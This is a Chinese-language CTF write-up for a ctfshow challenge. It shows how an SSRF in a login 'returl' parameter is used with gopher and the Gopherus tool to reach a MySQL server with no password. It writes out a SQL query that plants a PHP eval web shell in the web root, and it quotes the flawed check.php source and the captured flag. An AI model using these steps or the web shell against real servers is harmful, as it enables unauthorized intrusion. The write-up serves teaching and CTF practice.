nginx/1.16.1PHP/7.3.11
题目提示
打无密码的mysql
为什么是无密码呢? https://paper.seebug.org/510/ MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
随便写点东西 Login 一下,然后有个 returl
写个 baidu,发现可以请求 baidu
一般 SSRF 打内网应用主要还是通过协议,比如用的比较多的是 gopher
具体怎么做呢?
细心的同学可能发现,无论是用 gopher 攻击 redis、mysql、还是 ftp,这些主要都是基于 tcp 协议为主。这和 gopher 协议的基本格式有关
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
因为,如果想要打 MySQL 就需要知道 MySQL 通信时的 TCP 数据流,才能知道要怎么和 MySQL 通信,这里可以通过 Wireshark 抓包来分析
可以参考下面链接的 0x02 mysql协议分析部分
https://www.freebuf.com/articles/web/159342.html
不过这里有个更好用的工具
https://github.com/tarunkant/Gopherus
他包含常见的应用 gopher 数据包的格式构造, 原理也是通过 Wireshark 抓包分析,然后写脚本。
python2 gopherus.py --exploit mysql
依次输入用户和要执行的SQL语句
Give MySQL username: root
Give query to execute: select '<?php eval($_GET[c]);?>' into outfile '/var/www/html/c.php';
当然,除了满足MySQL未授权外,还需要MySQL开启允许导出文件以及知道网站根目录,本漏洞才能成功利用,缺一不可。
这个 /var/www/html
目录是如何知道的呢?应该是爆破的…
生成的 POC 里,_
字符后面的内容还要 URL编码一次,因为 PHP接收到POST或GET请求数据,会自动进行一次URL解码,然后,比如 %00 解码后,PHP会直接截断。。
最终 POC
然后在 c.php 里面 cat /flag.txt
即可
flag
ctfshow{d9cfb450-02d7-4b13-9170-4b9306d01a34}
顺便嫖一下 check.php 代码 (
<?php
if(isset($_POST['returl'])){
$url = $_POST['returl'];
if(preg_match("/file|dict/i",$url)){
die();
}
echo _request("$url");
}
function _request($curl,$https=true,$method='get',$data=null)
{
$ch=curl_init(); //初始化
curl_setopt($ch,CURLOPT_URL,$curl);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);
curl_setopt($ch,CURLOPT_HEADER,false);//设置不需要头信息
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);//获取页面内容,但不输出
if($https)
{
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);//不做服务器认证
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,FALSE);//不做客户端认证
}
if($method=='post')
{
curl_setopt($ch, CURLOPT_POST,true);//设置请求是post方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//设置post请求数据
}
$str=curl_exec($ch);//执行访问
curl_close($ch);//关闭curl,释放资源
return $str;
}
?>
https://www.freebuf.com/articles/web/260806.html
当然还可以有其他利用方式,比如构造 POST 请求进行 SQL注入,文件上传等